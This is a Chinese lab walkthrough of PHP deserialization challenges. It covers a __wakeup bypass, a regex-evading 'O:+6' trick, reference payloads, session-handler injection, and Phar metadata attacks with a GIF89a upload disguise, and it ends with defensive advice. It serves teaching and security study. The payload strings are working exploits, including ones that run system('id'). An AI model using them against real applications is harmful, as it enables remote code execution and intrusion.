PHP反序列化靶场通关记录-2
字数 1621 2025-08-11 00:55:05

PHP反序列化漏洞实战与防御指南

0x18 __wakeup方法绕过

漏洞原理

当PHP反序列化一个对象时,如果类中定义了__wakeup()方法,该方法会在反序列化完成后自动执行。但存在一个特性:当传入的序列化字符串中对象属性数量大于实际属性数量时,__wakeup()方法不会被执行。

示例代码分析

class secret{
    var $file='index.php';
    public function __construct($file){
        $this->file=$file;
    }
    function __destruct(){
        include_once($this->file);
        echo $flag;
    }
    function __wakeup(){
        $this->file='index.php';
    }
}

攻击步骤

  1. 目标是通过反序列化将$file设置为"flag.php"
  2. __wakeup()方法会重置$file为"index.php"
  3. 需要绕过__wakeup()的执行

绕过方法

修改序列化字符串中的属性数量:

  • 原始格式:O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
  • 绕过格式:O:6:"secret":2:{s:4:"file";s:8:"flag.php";} (将属性数量改为大于实际数量的值)

正则绕过

代码中使用了正则过滤:preg_match('/[oc]:\d+:/i',$cmd)

  • 匹配模式:O/C:数字:
  • 绕过方法:使用O:+6代替O:6

最终Payload

O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}

注意:需要进行URL编码,防止+被解析为空格

0x19 引用反序列化

漏洞原理

PHP引用允许不同变量名访问同一内容。在反序列化中可以利用引用来确保两个属性始终相等。

示例代码分析

class just4fun {
    var $enter;
    var $secret;
}

// 反序列化后
$o->secret = "*";
if ($o->secret === $o->enter) {
    // 获取flag
}

攻击思路

  1. 需要使$o->secret$o->enter相等
  2. 但代码会对传入的*进行替换
  3. 使用引用使两个属性指向同一内存地址

Payload生成

$j = new just4fun();
$j->enter = &$j->secret;  // 设置引用
echo serialize($j);

最终Payload

O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

其中R:2表示对第2个存储的值的引用

0x20-0x21 Session反序列化

漏洞原理

当不同页面使用不同的session序列化处理器时,可能导致反序列化漏洞。

处理器格式差异

  1. php: 键名|序列化值
  2. php_serialize: 序列化值(数组形式)
  3. php_binary: 键长度(ASCII)+键名+序列化值

示例场景

  • 保存页面使用php_serialize:

    ini_set('session.serialize_handler','php_serialize');
    $_SESSION['ben'] = $_GET['a'];
    
  • 读取页面使用php:

    ini_set('session.serialize_handler','php');
    // 反序列化时会将|前作为键名,后作为值
    

攻击步骤

  1. 构造恶意序列化数据:|O:1:"D":1:{s:1:"a";s:13:"system('id');";}
  2. 通过保存页面写入session
  3. 访问读取页面触发反序列化

0x21进阶利用

  1. 分析Flag类需要name === her
  2. 使用引用构造Payload:
    |O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
    
  3. 通过hint.php保存session
  4. 访问index.php触发flag

0x22-0x23 Phar反序列化

Phar文件结构

  1. Stub: 文件头,通常为<?php __HALT_COMPILER(); ?>
  2. Manifest: 包含meta-data(反序列化入口点)
  3. File Contents: 文件内容
  4. Signature: 签名(可选)

漏洞原理

当使用phar://协议访问文件时,PHP会自动解析phar文件的meta-data并进行反序列化。

示例利用

class Testobj {
    var $output="echo 'ok';";
    function __destruct() {
        eval($this->output);
    }
}

// 触发点
file_exists($_GET['filename']);

攻击步骤

  1. 创建恶意phar文件:

    $phar = new Phar('test.phar');
    $o = new Testobj();
    $o->output = "system('id');";
    $phar->setMetadata($o);
    
  2. 通过phar://协议触发:

    filename=phar://test.phar/test.txt
    

0x23文件上传绕过

  1. 修改文件头为GIF89a绕过检测
  2. 修改文件后缀和Content-Type
  3. 上传后通过phar协议触发

防御措施

  1. 输入验证:不要直接反序列化用户输入
  2. 使用白名单:只允许反序列化预期的类
  3. 签名验证:对序列化数据进行签名验证
  4. 设置处理器:统一session序列化处理器
  5. 禁用危险函数:如eval()system()
  6. 更新PHP版本:新版本修复了许多反序列化漏洞

总结

PHP反序列化漏洞主要利用点:

  • 魔术方法的自动调用(__wakeup, __destruct等)
  • 引用机制的滥用
  • 不同处理器间的格式差异
  • Phar协议的自动反序列化特性

防御关键在于严格控制反序列化源和内容,遵循"不信任任何用户输入"的原则。

PHP反序列化漏洞实战与防御指南 0x18 __ wakeup方法绕过 漏洞原理 当PHP反序列化一个对象时,如果类中定义了 __wakeup() 方法,该方法会在反序列化完成后自动执行。但存在一个特性:当传入的序列化字符串中对象属性数量大于实际属性数量时, __wakeup() 方法不会被执行。 示例代码分析 攻击步骤 目标是通过反序列化将 $file 设置为"flag.php" 但 __wakeup() 方法会重置 $file 为"index.php" 需要绕过 __wakeup() 的执行 绕过方法 修改序列化字符串中的属性数量: 原始格式: O:6:"secret":1:{s:4:"file";s:8:"flag.php";} 绕过格式: O:6:"secret":2:{s:4:"file";s:8:"flag.php";} (将属性数量改为大于实际数量的值) 正则绕过 代码中使用了正则过滤: preg_match('/[oc]:\d+:/i',$cmd) 匹配模式:O/C:数字: 绕过方法:使用 O:+6 代替 O:6 最终Payload 注意:需要进行URL编码,防止 + 被解析为空格 0x19 引用反序列化 漏洞原理 PHP引用允许不同变量名访问同一内容。在反序列化中可以利用引用来确保两个属性始终相等。 示例代码分析 攻击思路 需要使 $o->secret 和 $o->enter 相等 但代码会对传入的 * 进行替换 使用引用使两个属性指向同一内存地址 Payload生成 最终Payload 其中 R:2 表示对第2个存储的值的引用 0x20-0x21 Session反序列化 漏洞原理 当不同页面使用不同的session序列化处理器时,可能导致反序列化漏洞。 处理器格式差异 php : 键名|序列化值 php_serialize : 序列化值 (数组形式) php_binary : 键长度(ASCII)+键名+序列化值 示例场景 保存页面使用 php_serialize : 读取页面使用 php : 攻击步骤 构造恶意序列化数据: |O:1:"D":1:{s:1:"a";s:13:"system('id');";} 通过保存页面写入session 访问读取页面触发反序列化 0x21进阶利用 分析Flag类需要 name === her 使用引用构造Payload: 通过hint.php保存session 访问index.php触发flag 0x22-0x23 Phar反序列化 Phar文件结构 Stub : 文件头,通常为 <?php __HALT_COMPILER(); ?> Manifest : 包含meta-data(反序列化入口点) File Contents : 文件内容 Signature : 签名(可选) 漏洞原理 当使用 phar:// 协议访问文件时,PHP会自动解析phar文件的meta-data并进行反序列化。 示例利用 攻击步骤 创建恶意phar文件: 通过 phar:// 协议触发: 0x23文件上传绕过 修改文件头为 GIF89a 绕过检测 修改文件后缀和Content-Type 上传后通过phar协议触发 防御措施 输入验证 :不要直接反序列化用户输入 使用白名单 :只允许反序列化预期的类 签名验证 :对序列化数据进行签名验证 设置处理器 :统一session序列化处理器 禁用危险函数 :如 eval() 、 system() 等 更新PHP版本 :新版本修复了许多反序列化漏洞 总结 PHP反序列化漏洞主要利用点: 魔术方法的自动调用( __wakeup , __destruct 等) 引用机制的滥用 不同处理器间的格式差异 Phar协议的自动反序列化特性 防御关键在于严格控制反序列化源和内容,遵循"不信任任何用户输入"的原则。